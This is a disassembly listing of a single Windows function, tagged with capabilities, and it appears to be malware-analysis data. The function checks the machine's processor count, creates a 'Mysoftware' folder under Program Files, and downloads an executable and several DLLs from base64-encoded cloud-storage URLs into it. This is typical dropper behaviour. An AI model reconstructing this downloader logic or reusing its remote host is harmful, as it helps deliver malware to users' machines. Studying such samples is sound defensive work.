Function at 0x402ec0
Capabilities:
Create directory
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4272b3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x178
lea eax, [ebp - 0x184]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemInfo]
mov ecx, dword [ebp - 0x170]
mov dword [ebp - 0x10], ecx
cmp dword [ebp - 0x10], 2
jle 0x403197
push 0
push str.C:Program_Files__x86_Mysoftwaref
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
push str.C:Program_Files__x86_Mysoftwaref_software.exe
lea ecx, [ebp - 0x40]
call fcn.00405240
mov dword [ebp - 4], 0
push str.aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9RVDIuZXhl
lea ecx, [ebp - 0x28]
call fcn.00405240
mov byte [ebp - 4], 1
lea edx, [ebp - 0x40]
push edx
lea eax, [ebp - 0x28]
push eax
call fcn.00402cb0
add esp, 8
mov byte [ebp - 4], 0
lea ecx, [ebp - 0x28]
call fcn.004051d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x40]
call fcn.004051d0
push str.C:Program_Files__x86_Mysoftwarefmsvcp120.dll
lea ecx, [ebp - 0x70]
call fcn.00405240
mov dword [ebp - 4], 2
push str.aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9tc3ZjcDEyMC5kbGw
lea ecx, [ebp - 0x58]
call fcn.00405240
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x70]
push ecx
lea edx, [ebp - 0x58]
push edx
call fcn.00402cb0
add esp, 8
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x58]
call fcn.004051d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x70]
call fcn.004051d0
push str.C:Program_Files__x86_Mysoftwarefmsvcr120.dll
lea ecx, [ebp - 0xa0]
call fcn.00405240
mov dword [ebp - 4], 4
push str.aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9tc3ZjcjEyMC5kbGw
lea ecx, [ebp - 0x88]
call fcn.00405240
mov byte [ebp - 4], 5
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x88]
push ecx
call fcn.00402cb0
add esp, 8
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x88]
call fcn.004051d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xa0]
call fcn.004051d0
push str.C:Program_Files__x86_Mysoftwaref_vcruntime140.dll
lea ecx, [ebp - 0xd0]
call fcn.00405240
mov dword [ebp - 4], 6
push str.aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS92Y3J1bnRpbWUxNDAuZGxs
lea ecx, [ebp - 0xb8]
call fcn.00405240
mov byte [ebp - 4], 7
lea edx, [ebp - 0xd0]
push edx
lea eax, [ebp - 0xb8]
push eax
call fcn.00402cb0
add esp, 8
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xb8]
call fcn.004051d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd0]
call fcn.004051d0
push str.C:Program_Files__x86_Mysoftwarefmsvcp140.dll
lea ecx, [ebp - 0x100]
call fcn.00405240
mov dword [ebp - 4], 8
push str.aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9tc3ZjcDE0MC5kbGw
lea ecx, [ebp - 0xe8]
call fcn.00405240
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x100]
push ecx
lea edx, [ebp - 0xe8]
push edx
call fcn.00402cb0
add esp, 8
mov byte [ebp - 4], 8
lea ecx, [ebp - 0xe8]
call fcn.004051d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x100]
call fcn.004051d0
push str.C:Program_Files__x86_Mysoftwarefcximagecrt.dll
lea ecx, [ebp - 0x130]
call fcn.00405240
mov dword [ebp - 4], 0xa
push str.aHR0cHM6Ly93d3dkbGwtMTMyMzU3MDk1OS5jb3MuYXAtc2luZ2Fwb3JlLm15cWNsb3VkLmNvbS9jeGltYWdlY3J0LmRsbA
lea ecx, [ebp - 0x118]
call fcn.00405240
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x118]
push ecx
call fcn.00402cb0
add esp, 8
mov byte [ebp - 4], 0xa
lea ecx, [ebp - 0x118]
call fcn.004051d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x130]
call fcn.004051d0
push str.C:Program_Files__x86_Mysoftwareflibcurl.dll
lea ecx, [ebp - 0x160]
call fcn.00405240
mov dword [ebp - 4], 0xc
push str.aHR0cHM6Ly93d3c4MC0xMzIzNTcwOTU5LmNvcy5hcC1zaW5nYXBvcmUubXlxY2xvdWQuY29tL2xpYmN1cmwuZGxs
lea ecx, [ebp - 0x148]
call fcn.00405240
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x160]
push edx
lea eax, [ebp - 0x148]
push eax
call fcn.00402cb0
add esp, 8
mov byte [ebp - 4], 0xc
lea ecx, [ebp - 0x148]
call fcn.004051d0
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x160]
call fcn.004051d0
jmp 0x403199
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret